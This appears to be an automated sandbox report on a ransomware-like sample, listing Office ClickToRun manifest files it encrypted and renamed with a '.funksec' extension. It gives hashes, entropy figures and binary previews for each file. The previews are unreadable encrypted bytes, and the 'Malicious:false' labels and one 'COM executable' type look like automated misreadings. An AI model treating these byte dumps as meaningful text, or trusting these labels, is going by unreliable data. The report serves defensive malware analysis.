                                                                                                                                Preview:t.....5..I........A....0......L..n.v....I".b..M...G/...a<T.n@ ...Ck.......f.4 @.k.?...i.|\....iWS..|.L.go...#...k3.g.H.a.......I.:...$c.+....7.3....].P..K....Q..d.`C...@.....4l.jc..x..Q....g5N.&..|..Ag..a..Z..?9..E..o\h&q.T.9T.n. R..C{.....%.m ..k.?...i.|\....<W...|.L.g6...Q#...kV.u.H.}.b.....T.$.".Bc.+[...;.*..........K.......d.`>.|.A.....sla..:....cn.4[.(.....3.^.........Ar^.`..0G}...]A.cTTn\ ..C?........T &..k.?..i.|......@WT..|.L.g....h#...kZ.u.k.-.U......$.4.Kc.+[...&.=......R..K....P..d.`S.$...J.....al...^e.N..p.......R..b....U..G.9/.S...|@sm....J.rTanQ ...C?.......p.. ...k.?..i.|.....Wx..|.L.gj...#..k..u.g. .D.....H...x.'c.+&..h......H....K....A..d.`X.-.K.....xl..wu)#.!...Rg... .0.....Akf)........4J../J..$[.ITUn. F..C......W.. j..k.?...i.|U....9W...|.L.gB...V#...kT.p.;.........F.6.3..c.+...h.w....U....K....[..d.`:.J..-....*l....uzil.G..I..r6.WI.s........!..t....[.|.T...l.oT\nH ...C........V.2 B.k.?..i.|.....1W...|.L.gD..S#..k .

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):165054
                                                                                                                                Entropy (8bit):7.698996993341222
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:7+6+73uiSeh/Q7j50MjX2CAdllHEzz75AmHxH+Bivt7foGiOZZQ8V8MPwi0YQVVm:7oDuVeh4B0SXYcj5BRH+EvdfCOfdZGC1
                                                                                                                                MD5:859C46C7F4DBF575F114D04B339CD615
                                                                                                                                SHA1:769792F172B3CB2FB3E0C3263072ADB47B8B3220
                                                                                                                                SHA-256:236AC8B6518474AF9F92127E2E5E1A0B9CBBF01FE6AF8BF38472D4FEB460AC9C
                                                                                                                                SHA-512:DEB2F6BBF93A10DFD3CF2B8D5239460BF5B5DA1FAC2E58D5E90AAD76BC1906B4CBE739256E466D1BCCC6C78D4716605ABEA60679FF402976DAEAF905F40D4881
                                                                                                                                Malicious:false
                                                                                                                                Preview:@.....jB.{.iv.t.(.......E.!..D4u.o..$....}VXBN I:.k..~.2.L|>.2.F........q ..}()l...K.h.t.2]..h.3.T..l./..`/...;.....V]..pC~.$u....w.9.....O...Q.K...p[.pc...8.....=. .(...Q.dy...Eb...0.1..O.!.z..My58. .(.S...R.Yo/.z..yD.C...W.=.y>.2NF...........qc..}w)D...K.h.t.2R..h.3.T...{..`q...6...D]..lC..Wu....i.d...".k...].R...p..(c....u...`..=. .(...Q.d(...p.........v...*..G..!..MC.....TZ.V.x)..@}ISp.).5.(>z2.F........q'..}.)q..K.h<t.2v..h.3.T..o."..`)...i....m]..8C!.fu...<.V...*.l...q.O...pQ.>c..#.....=. .(...Q.dv........k......K...Il.1t.....e.#.. ....[}9......s.w>.2RF...........qg..}p)/..K.hwt.2O..h.3.T.4....`u...1.... ]...C:.su.../.].v.1."...B.O...pL. c...y.....=. .(...Q.d4....N..U.....3.k.}...a1.J.L....I..%.......M ....(.%>W2.F.........q...}t)A..K.h.t.2F..h.3.T.G.z..`l...@.../]...C..#u....q...P.z.)..O.....pN. c...#..P..=. .(...Q.d0........Fp.snf.~.|........Q...\`P.........V.l.*W4.%>.2]F........q6..}e)"..K.hpt.2...h.3.T..@....`....Y.....

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerView.PowerView.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):15828
                                                                                                                                Entropy (8bit):7.690669447516671
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:Ad1YbkDvN9PsecCzy3Tplpag/f5E5KCmJS:A08N9PJcCGhR/aMzS
                                                                                                                                MD5:95B4B55DA44B23F899B66427B41996F6
                                                                                                                                SHA1:3771FCBC37E0848A0AA352120D476DB88FF43746
                                                                                                                                SHA-256:5EF39678C03330D4D590BACBA4B33F8C0B8B3F5E1BB6F7DDC6B4FECB5C84543C
                                                                                                                                SHA-512:C02EF7449D5EB922330525DC0997E246856822CF35213C5919A720E8EDEAEE70999EE0AD64714CDFC1C1D11FD949BE8491C65C1B93DCDDCDB3E4F5012323934C
                                                                                                                                Malicious:false
                                                                                                                                Preview:..f$..]dw./.?.4..;.e1*.yuI.....%.\ln....iz....;....Y.lHJB..i.i..D.Jo....R3.t....@......r.T.r.....bc..'nE...H......B.M$..tS.,.r...P.vxY.<5Eh......8.m.rV..&..1.$..FEo..3..f[''....O1@.X.t.......8.ZP.._.<.\k.`....#.l....o.2|....G..i.i\...ZoB....3.t..J.@......l.T.}....<c.en..........B.M6..tO.^...L.M.hx..Z5.h......8.mTr...N...|.~..F,o..L..fZ'3...YO.~#p.Z..F5,..?.P..X.S.k..K.3.......@HXI.b.}.L....i.i..I..o....-3.t..s..@..P..(...".....ec..<n....,.....B.M6..t..i.1.C...hx..S5.h......8.m.r...3..=.%..Fgo.....fQ'....KO..pH....)L.1....P.?.Q.....C..N.&...t....!.A........i.i.._.,o....E3.t..Z.@..G..2...m.....tc..-nM...B......B.M...t..n.f...b.Bx].?5ph......8.m.r\.....*.`..FIo.....fQ''...HO......1....z..\r..$.....|...Z";.D.b.:q.._.6.......i.i.....oF....3.t..J..@..p...l.I.d...Mc..ng.........B.MD..tH.%.u.t.,.qx`.K5[h......8.m.rC.....0.4..F+o..y..f6'K....O.n.2.6..i....%X.)m.0.?Q.oF+W.A.........?.P.......i.i..M..o....c3.t....@..P..(.-.4....wc.xn...........B.M

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Proof.Culture.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):39876
                                                                                                                                Entropy (8bit):7.688107486871113
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:yZb6VsuQ10z/CuiTq7jJ61ORjKBgdJpQWB2gd7YYzl5gXGOhklgIE8entdaucnlJ:+b6VsUzCKMmUQKgd7YYzl5MGsbIE8enQ
                                                                                                                                MD5:0BF7110303F986F5EAB5BF7E082C9D5F
                                                                                                                                SHA1:000ACB88A94B7008A4ABA5BB19A84BE778EE6A97
                                                                                                                                SHA-256:D4A156B9A1FBA06F516E2D18538E4BDA72E6A8EB6F6320E86498938139656DA1
                                                                                                                                SHA-512:2063312AC5B5AF7E0F29EF669547CFF517E2D062BD2AA89B1EC957C0B1F1EC7C8E84F8E6DA2F75F8ABCEEC847F1782BC0BE81B9E3FB858581DABB60AD284B348
                                                                                                                                Malicious:false
                                                                                                                                Preview: p/<.../K-.M... .X.<...DH...e..g.@.U...vk.z.c...:9V......&V..#.c../........X..d......=....Q%V...*.4.4k..9.=.......*....6.~[.h.....#...e.8.S.X..A../.h.5V..Bpq.u.si.7..a..(]aD...j..0........~$.ETD.....A.nK.bP..g.6.p8Zr.'..U;...>..#V..j.8.X/.........Jd....../....Q,V...*.4.48..9.=.......*...6.b[ph......#..eC8.S.X..X../Nh.5..B4q.u.s..^.a...]`D..j..:...|.M..D.!qY.xA;....^.D.7..b.'.=S...G ..BIO...yV..?.J../......!.sd.....z....Q`V..*.4.4{..9.=....8..*.....2[Gh.......#..eC8.S.X..O../.h.5T..Bkq.u.s].8..a..(]wD..j.....H...($.o...HA$...Rv.` ..:_.Fe...i.....j.K..wV....g../.........Id.....O....QpV..*.4.4*..9.=....8..*.....>[Ch.......#...ea8.S.X..E../.h.5...Bfq.u.sg.m.a..~]=D...j.............J...*.`V...$YA..I.._.g.U....'>....B.(V..h.8.E/.........8d.....2....Q,V..*.4.4;..9.=......*...3.<[^h.......#..e.8.SdX..#../Oh.50..Bcq.u.sn.1.a..M].D...j..?..6..N*..08(.....>9D.m..(...k.KV....R..8..:)..V../.{../........J..d......V....Q7V.*.4.4m..9.=.....\..*..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Proof.Culture.msi.16.es-es.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):33598
                                                                                                                                Entropy (8bit):7.689412947177949
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:y/c8udAV4IHipI+Vsd6BlWm6sdgdr0znyKI6TTf:y0RdAVaSdd6BZdgAyhU
                                                                                                                                MD5:F16740510358AEB8940658899FE7B2C7
                                                                                                                                SHA1:6EE236C4859C29A49B2ED170340D48729CB91E12
                                                                                                                                SHA-256:2706103FE7A86945B94A1D82A6F72E6FFEA5FE6A5328A50942795E39381364E6
                                                                                                                                SHA-512:17A55FC7C16241C4EFCB7646802B742320F376B93FF67D4A0947657EBE8C89069A4305A33669D9AABE7266528DA9F7A7A0F125291F95EF242A5C1AF7E8A6E9F9
                                                                                                                                Malicious:false
                                                                                                                                Preview:.`..j..X.5q.O.#..L...&.EE.%....?...J..-..2... S........V.u....l.D..fl...p..N...B# ......O.tPI.=.y].........-.R]..p.6F./M<x.L#e...-O...%c.M.a.;V...y.....+qo...c.eo..........w[.k.w..F..{?..~.E....rE.........u4..@`.l2..K .Yt...u....7....f*.../.YN...B. ......Q..PF.-.,].......C.s..]..b.SF./M<d.>#.....-Q.M.Cc.M.a.;Z...u....sq.....c.e......s....wO.#.0......:|.v.xa.uSY.X9GH.+..B...d1I...r...;.=..5...u...E.I.f{.....cN...Bq .......1P..x.P].......~.I.<]..[._F./n<4..#&....-Q.[.Jc.M.a.;G...Q....)qy....c.e[..........wZ...:..@....Efk.....7.&...9.~Z.`.4qH.e.+.i..7L. K4....u...h.D.fi...1.YN...Bo .......!P..i.!].......y.J.<]..[._F./d<8..#<....-..i..c.M.a.;E...v......qv...c.ea.....y....wz.a......3..O..<..._..lDA..%lW.g.._....Zn.....o+..u...C....f+...0.DN...B} ......Q.|P[.(.Z]......C.r.H]..l._Fr/H<:..##....-..s.[c.M.a.;<.z......MqZ...c.eh.....B....w7._.i..O...X.k...al.....J.O.K1fx(h8d...N;..HN}..}..+....u...t.Z.f:...g..N...B? .....\.fP,.t.q]...........P].3..F

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):33598
                                                                                                                                Entropy (8bit):7.683996563631267
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:EzEH56IPKNseFlUJL/76FwbsWTTZP+VCsvc9a+lAGXEJOOrCzJofKc:ES56fNX8FDbt/ZOTczxU3rA2fn
                                                                                                                                MD5:EDC71DA2B473A13D2785D64795484744
                                                                                                                                SHA1:F3265A6D6F4AC80E5038A9F60EC95AC9CF894089
                                                                                                                                SHA-256:67D4AB91BBF4B7F49F81EEFE49173561195F998362E9644E6017F6EAC9A650CA
                                                                                                                                SHA-512:1B563F83E8848CDAD7A8184D860228B6D29E777539ADBFDC902B49AC8F9693C3513E7DE16A10983554F9FA26F79C6FE302BF5E65CDAF14D678A1F47BF22727E7
                                                                                                                                Malicious:false
                                                                                                                                Preview:%Q }5..j].w...J.-p... .....cFL.f@.. ...g...P4.m+i....?....~.../..u.r...*.r.$. \.W.2.i_r.Pc.B.2.H#.Z.?".p........ut....5...y.^..>...'....).G.....1.DN...W..^X...RDi.aPn OIk#.O...f.j.........=t:....|.L.5.....[`&.`.[j.....Q'5}p.....7.B.s..u.r....i.+.z..\.W.2.iAr.Pl.R.g..#.Z.?v.).......uf....5..iy.^..>U..'..$...K....k..N...W..X\..;D...PR NI.#GO...Ht....}.SJ~.m.../f.!A.../3.........6k.8..e.S.O.b.0.".u.r....S...B.r\.W.2.i.r.P3.....O#.Z.?x......<..uf....5..Yy.^].>C..'..$.=.V....2..N...W.._X...]Dq.uPn YIj#tO..x..I.b.e..\sn.{.8%s.Mig..)U.<..n..~.=.h..XZ.V.y.].Y.@.../.u.r....i.(.}.l\.W.2.i.r.P/...j..#.Z.?K......<..uc....5..Cy.^]..>q..'..?.%.T.....3.ON...W...X@...D/..P2 .IJ#.O..$R".......-.Bj..U..O*r.]....5H.... `....?l...&...k.G.6.n..u.r....t.".{.~\.W.2.iAr.Pq.W....#.Z.?t.)......u.....5..\y.^V..>k..'..].B.-.....j..N...W..EX...TD#./P. "I.#;O..1a....h....a..vh'.1.B.O...%.8..rl.-k..5....+M.U.K.r...1.u.r...8.o.>.<\.W.2.iLr.P....:.K#.Z.?..w....X....u

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):114128
                                                                                                                                Entropy (8bit):7.680562161013228
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:pndYvcGN4qiPS8cL8QNFG0IxhKFgmK2uncv/wJu3HKOKXy:icGN4ZPS8cL8eI0wKFVec3Eu3SC
                                                                                                                                MD5:C242AF3D8E0CFEBBC830058E279FC313
                                                                                                                                SHA1:EABCD6CBE76EFD821F853F4056C695C7005D8CD8
                                                                                                                                SHA-256:84FB89FA32670E29F32B0DBD049A315FE9EE31A0F0D00E6D6E1D942AC0941D19
                                                                                                                                SHA-512:DB0071D1B85DDF5455211B1A40DDA8D130DA256353A46F989BCEC59305CE3E2B176B154B0679E4FC8355E553519A30A7BACB653CA8BFB07C593F94F18B451B28
                                                                                                                                Malicious:false
                                                                                                                                Preview:9.......U............|r.;..%>^..z.x..(..u ..m.3.h.@0........\.gC.9.M....^..;.V......!<.)..Ee#1......QO.q.s.......zN-..\S.....K/.RZ.].>.D..?.45;eS.".xc\E.#z.c..s.~...:...WN..].T.D.`.;KV.D.jP..oR.....h*.Sy.......h.8`n...L...'......\.gS.........;.V......?<.)..Uev1......MQ../.$.......hN-..\!....V/.R..;.c.`..?.4,;iS.".x;\-.gz.c.......E...FN..............vm.w....+Nl......q...<....,rx.W.u....4.'......\.g..!.M....{..;.V.......<.)..Ye.1......QU.w.W...H..AN...\.....$/.R5.;.k.g..?;41;iS.".x-\p.?z.c..b. .......NY.R.5.h.4<SD.l..8...q.?..)."..@.wNd..B..jH...j.+.{N.'......\.g%..........;.V......N<.)..$er1......<Q..+.'...f...NK..\....../.R>.2.p.).F?.4-;tS.".xm\p.)z.c..&.^......\N........7.War.t.\,R$.P.:.....I....L..G..uW..F.....|.'.....\.g[.~.l......;.V......><.)..Qe.1....DQ....%.......oN-..\Z.....5/.Rc.`...6.D?94.;tS.".x7\t.lz.c..&.[......FN....K..9.-^.Q...Z.eRqR+iw...k)...R.-c....w/M.3B.n/..%.'......\.g..".I.......;.V......f<.)..Xed1....4Qb.S.K...w...

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):143572
                                                                                                                                Entropy (8bit):7.681379962545459
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:gG8exyEN0hMZM6X1mwrI11Fbs5AYLWV8p92jzx5GyBvc:9ChMZM6Ewy1F45ASWcyBvc
                                                                                                                                MD5:E14A57F5C363578CE328CD2D2A99EE79
                                                                                                                                SHA1:DDB22E79657F384683FEFE12F7A7BB62DA588973
                                                                                                                                SHA-256:CF3F209C8B25CB370A876475A33F0B9C0402006763D88ADDA5118AC7FB3226EF
                                                                                                                                SHA-512:0CCB8E6AB28A9F39D231C340257AD630ED6D4A6127A20A24949DDC9DA79089175AB53F8176B9F0C9FBF5058C73C98A5CDE1D400AEE2FD5F5DB07C5A57BB9884C
                                                                                                                                Malicious:false
                                                                                                                                Preview:_.+m~5....ok!....<i..i."m.v.......q,u...5"..VD&..h..QnUe..u,w..xn..$..(Ry.S..r/.......>#.n.6.\..g.y..\wR..V.Td......9..g.cq....3C...KDx.Q...[.' .4t...XdR...M...Kv.}.. .$.z.#.<.E...U./Ir...|.L.b.95e..7k.s......Y.)Nz`......u#wE.#n.4..(.y.S..+/........ #.n.6.\*.9.*.N\#R.....d.......9.....q...-C...K.x.Q...[.'z.st..h..d..S.5...6v.}..1.#.+.h...B...$.`f...1zD..i&.t..a..R....Mi{....Q..R.}_T..uPw..xn..k..(Ry.S..W/........#.n.6.\J.|.x..\zR..P.pd..W........8.!q....xC...K.x.Q....[.'7.>t..5.DdI.$.\....v.}..|.p.u.B.....?.TM...^.<......]L..J..|...*...q:7&b._....u"wY. n.B..(.y.S..-/..........Q#.n.6.\..O...T\RR.....d..y...._...#.4q...kC...K.x.QA....[.'#.'t..#.Cd....L....v.}..+.,.7.n..4..yF.../...-..+W....8.S.B)....~..SI..q....>..u}w..\n..9..(Ly.S..)/........=#.n.6.\..$...%\UR....qd..x....9....`q....LC...K9x.Q!...[.'..!t....KdI.......v.}..!. .3.t..c.%=urB....f...n%.....~X..0.C...#.......j.0.Q..u.wV.Bn..V..(dy.S..i/..........u#.n.6.\Q.l.c.%\zR..]..d....

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.accessmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):81236
                                                                                                                                Entropy (8bit):7.695878299682269
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:/ZKmW83hLs8r18g5gHotARpRxq4nvIGwoRbx17d/+02/8Uq:LW8iC55gHoaRxbvIGwoBxnL
                                                                                                                                MD5:CAFE6B9883E3A9BF61BC40D81816D2B4
                                                                                                                                SHA1:940E86E0615D35E858E9C32FDEBEF5736087DCBD
                                                                                                                                SHA-256:8D6D01088D333D606333CD67F8503A994F575B323273E8C274CB3247953F2745
                                                                                                                                SHA-512:780A613C9E4F821DB7672AB2E46362A0CB6478864B3972CE2C059032F5D3CF3895FDAD74EB16CA2C2AA34CA1F8A5B85D32C9C0D057C102D6D5FF2A968F106550
                                                                                                                                Malicious:false
                                                                                                                                Preview:...%U..X.L....,....: y.[..,..|T..}GM>.....{........0'...T9}+r..h..O.G.`..<..O/...... .r6....d......W.j....4..-.2.7s...<(......:..^8E....$h.,E.|.......q1L?q...s..).*4......F..:y...x..66s.i9...V......./..0..@..m.S..&.yV......Tp}pr..x..O.G.`..e..Ot...... .r9....d........4....4..H. .7o...O(......g...8a....$q. E.|........<1.?.....).*5....bF..v.....x...I...^.......@..u.Q..u....&....!j...MT.}/r..<..O.G.`..\..O........ .rx...d........&....4l.;.%.7....$(....f....28t....$>.oE.|....f..R1w?T...H..).*.....bFl.B.'.........r...Y../.WS..(.p4....&../.<.....mT.}cr.....O.G.`..&..O'...... .r}...d.......W.g....4..$.W..7m...V(....{.V...8f....$`.(E.|....J...<1e?W..J..).*.....wF..].7....%i..#.t.1..0a..8.EW@v.i.^.[..{.H.%.........Tw}hr..x..O.G.`.....O,....... .rq..d.........G....4~.+.D..7....c(.........Q8&.A..$?.bE.|...._..w1D?a....).*l....AF.....eQ.L.......b.C....qP...........X..(........nT(}*r.....O.G.`..X..OH........ .rZ...d......].a....4^...

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.dcfmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):13534
                                                                                                                                Entropy (8bit):7.691857854625885
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:vP9v1tjs2Hxx+2Csk1NDkk8DjbWNOWh4lhx79wdVQr5KzDOTAevVF:v1vDhxx3Cs0n83bWNOm09hr5KsF
                                                                                                                                MD5:20E163AACE68A1A9FCE0B4B0C54EC450
                                                                                                                                SHA1:E257EF503A2CE03A4BB01C792046215CF8C32099
                                                                                                                                SHA-256:AA2792C1759786042D1B2B4C713770E22819CB1379E2E661004D9F326E386EEE
                                                                                                                                SHA-512:EB598B297CAFFC7896C86EB8CCE29BA20FDDFCA6BA6E40D6B21D850CBEABCAF4EC3A769311DF6EFD0C55B2332C3476E475D3F9E42527404C471A32FE7765F948
                                                                                                                                Malicious:false
                                                                                                                                Preview:...ig@1......~Z....S..|.....d4.J.....GAaG...y.z5.&.....U..66.[r.u.a(r...uY.^C-..u.'n`...v.w....|?..9.S.R.......p...-...T.N.v.. bP...,JY....t..5.A.o.x.{.: b.'......../....z.W#.[.d[0..N..x k,....9.9..j.d./......Pr..S....x.J...UA.m6.[b.3.4(-.Z.,Y.^.-..u.'p`...f.".[..|}..9.S!R....m.}p...-...T.N.v..>b...qJ}....t..9...(. ...~ /.}.f..........7.3# ...(!..k(..41..Z5....H.J......y[.z[..H*j\...1.J..HU<.26.[&.=..(..c..Y.^e-...u.'.`...3.2.%..|=..9.S3R....).,p...-..T.N.v.nb<..uJ'....t..v...Z.9._. 0.a.N.............'#..3E.......X.J.....g4&......qk9fWJ..C=..i ...<X6J...U1..6.[..J.H(E.9.9Y.^`-...u.'/`...0.f.K..|6..9.SrR......+p...-...T.N.v..Zb...LJl....t..t.h.k.5.N.; }."........-....e.8#_/N..-..'+&.......8....w...a...X}~.M....f.[6c...*J..iU1..6.[..B.W(E.).SY.^}-...u.'n`...x.#.[..|c..9.S_R....8.>p...-...T.N.v..<b...DJH....t....e.E...{.. _...I......)....e.D#.....S.,i.0&H.o......vM...0h...-.........V..-|GIJ...UR.e6.[}.K.a(l...ZY.^A-...u.'J`..j.Z....| ..9.S}R......,p

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.excelmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):52250
                                                                                                                                Entropy (8bit):7.704669799997687
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:9r77Hohnw0P83w+IveowGcyl9/m1zZz4gZ4Yalp1B:VD0P83wP2FvyltS5ZhaL1B
                                                                                                                                MD5:3CCE757420B9DBD3AF1BFC0DBAB56B4D
                                                                                                                                SHA1:2B96A9A1BA84BF41E1E414C11A056F8CCF59F14C
                                                                                                                                SHA-256:29E518A8BA79144B523C4AD456072CD2C5C9C998E5BB0F3B0607E7872C66FB94
                                                                                                                                SHA-512:A65815940202B732B95B4172FE071CFA22F401A7D503F64B19A20404FFDB7FEC6B62600E675F5DA17BB04D548C3E63333821C979A9927FC0243DA43CD6244887
                                                                                                                                Malicious:false
                                                                                                                                Preview:.bd..s.. #.XV=H..y.t.M....rm.D.."..]s...oF?.d..#E..r....F}.3..b..<MD_;.#.V.'....4.|PY.z.4.(e..5.C~yMci .H..N.i.o.?G...0W.H`.#..{|....^.#...............2$...5...Yl.Y...vo?.*.A.B.......h.......?...O2..%F.3...J$.~..K..G.).j....3..+...`MT_}.v...d....l.lPK...*.(j..5JC y.c+ .H....>.b.-G...0W.T`.#..$|......E...............u$D..5j..Y6.!....o@...@.K.......:.r..)O..#o6....rY&.(2..3..f...:...3..5...u...3U.V..#M._s.K...]......$P..;.\..(+.R5ZC^yOck .H....K...^G...0?.-`.#..{|...2.]...E.........$p..5...YG.k...Co1...c.n......A..b........hBtm..PN,.X.8..M.....C...u/...^.}..3l.W..3M._".5.K.2.....'P..".y..(..x5.CvyGce .H....R.c.-G..0M.G`.#..8|.... .Y...............j$...5...YM.t...Go0.k..........,...@....-.l......H.......<Rg7..).d..q......3..8....M._ .#.W.$....?..P?.v.8..(..t5?C\y.c& .H..I.j.o.?G..0".V`.#..e|...6.E............]$5..5s..Ym.@...Do..).@.k......_..X}.....!EVP..#....)U_./z..P.>..(Y.....} ..9..3=.....lM,_(.*.T......?.2P..*.y..(..^5.Cdy.c. .H..).2...xG..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.lyncmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:COM executable for DOS
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):30386
                                                                                                                                Entropy (8bit):7.672558416836798
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:Cr4LPAebZ141KmPLmryXXndgwUl5HLBnX3JYsQUeCAIqK4fu:C4LAqZ141urSnutRX3+sQUkfu
                                                                                                                                MD5:3061B261F197B0C07A31FFC509050052
                                                                                                                                SHA1:C9B36D6AEA820355EBE7D26F91B57F934777DA8E
                                                                                                                                SHA-256:A4E7C6851B64655C78B60FB40FEF278CAB85988259397E1C1E9B90609D0930CB
                                                                                                                                SHA-512:635043171EBF7F917338EC1774DCF5243EE1938E222C160A2C2EC4ADD7B879AB522BF66E06CC32663FC3B0BFADCB62D78543D6A27A6FD49F19622B3FF2B83D4C
                                                                                                                                Malicious:false
                                                                                                                                Preview:.J...h:....t...Bn.J.gQ..O.9&h.`O.j...exW.....`.......r.A..J.(.....$+....u..R................'e......&N....e..N...{.).lv...j;+........f...].=..v...4......eX.\.5.i.*;.]f...[.!....e....^..r..6..m<...(...J|. ....>...-..>..m...J.(.B.]$;...u..................7e.....dNO..;.ON...{.).lv....;X........;...].=..z.@.s......(X.\.5.i.*D.zf...[.!........D..i..@..x.........1.X<n2 .0......Gz>.!...J.(.....$....u..(................be......$N...).3N..{.).lx....;?..........g...].=..^.9.........EX.\.5.i.*'.tf...[.!...'.h.5.O_/t4.t.....2.....x...).]..a$....B...J.(.....$d....u..U.................ae......,NN..W.NN...{.).l.....;|..........9...].=..r.@.s.......FX.\.5.i.*I..f...[.!...jh.{.[r.zk.r.H|..a."U..!e....[_.....k..xs......J.(.....$n....u..B..................%e...... N...).NN...{.).l....t;U..........6..].=....t.m.......zX.\.5.i.*X.|f...[.!...}..?..o P.s9.<...$.GBny.."c..P...y..U.UK{.-{...J.(..7.2$I....u..b.................oe......N,...O.3N..{.)

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64mui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):15762
                                                                                                                                Entropy (8bit):7.69442271923151
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:i+emkp2s9BMLVAvQuMQwBEvIlz+z7LpBvNwtjwwyqHbYnC0/ZNznkeXH3z:iO+BqJg/Ilz+93KRbYTweXj
                                                                                                                                MD5:BF1F5F5B69DF6962FFD2FF9D7DBA0135
                                                                                                                                SHA1:79519AE265461283649432FB0DD905579BC36971
                                                                                                                                SHA-256:C45461982FB9A6B933A7356838B7E122DBDAF192B706906EFD1EDBFF6E058D9C
                                                                                                                                SHA-512:81B913DBC7029652EEE3267545C048944C36FC28FAE03ABB1842282B0F3C6E41D68E060CB2DCED72CCD93459C142A8E71CB3D8AD1E7ED151C95E2675E95C2433
                                                                                                                                Malicious:false
